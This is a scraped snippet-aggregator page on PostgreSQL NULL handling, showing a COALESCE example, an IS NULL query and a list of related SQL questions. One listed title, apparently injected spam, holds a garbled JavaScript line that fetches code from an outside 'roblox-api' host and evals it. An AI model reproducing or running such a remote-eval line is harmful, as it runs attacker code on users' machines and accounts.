Postgres isnull

Postgresql isnull with max

SELECT coalesce(field, 'Empty') AS field_alias

Postgres isnull

SELECT
    id,
    first_name,
    last_name,
    email,
    phone
FROM
    contacts
WHERE
    phone IS NULL; 
    
 
 Code language: SQL (Structured Query Language) (sql)

Source: postgresqltutorial.com

Similar codes

0 vote148 views1 answer
Mysql regex select
SQL
0 vote172 views1 answer
Sqlalchemy _in array sqlite
SQL
0 vote130 views2 answers
Get all index postgres
SQL
1 vote131 views3 answers
Union SQL
SQL
0 vote128 views1 answer
Mysql import datetime YYYY-MM-DDThh:mm:ss.000000Z
SQL
0 vote140 views1 answer
Update view sql
SQL
4 votes126 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
1 vote160 views1 answer
Select not matching data with join table
SQL
9 votes124 views2 answers
Get first 3 letters in sql
SQL
7 votes127 views3 answers
How to check table name in current database sql
SQL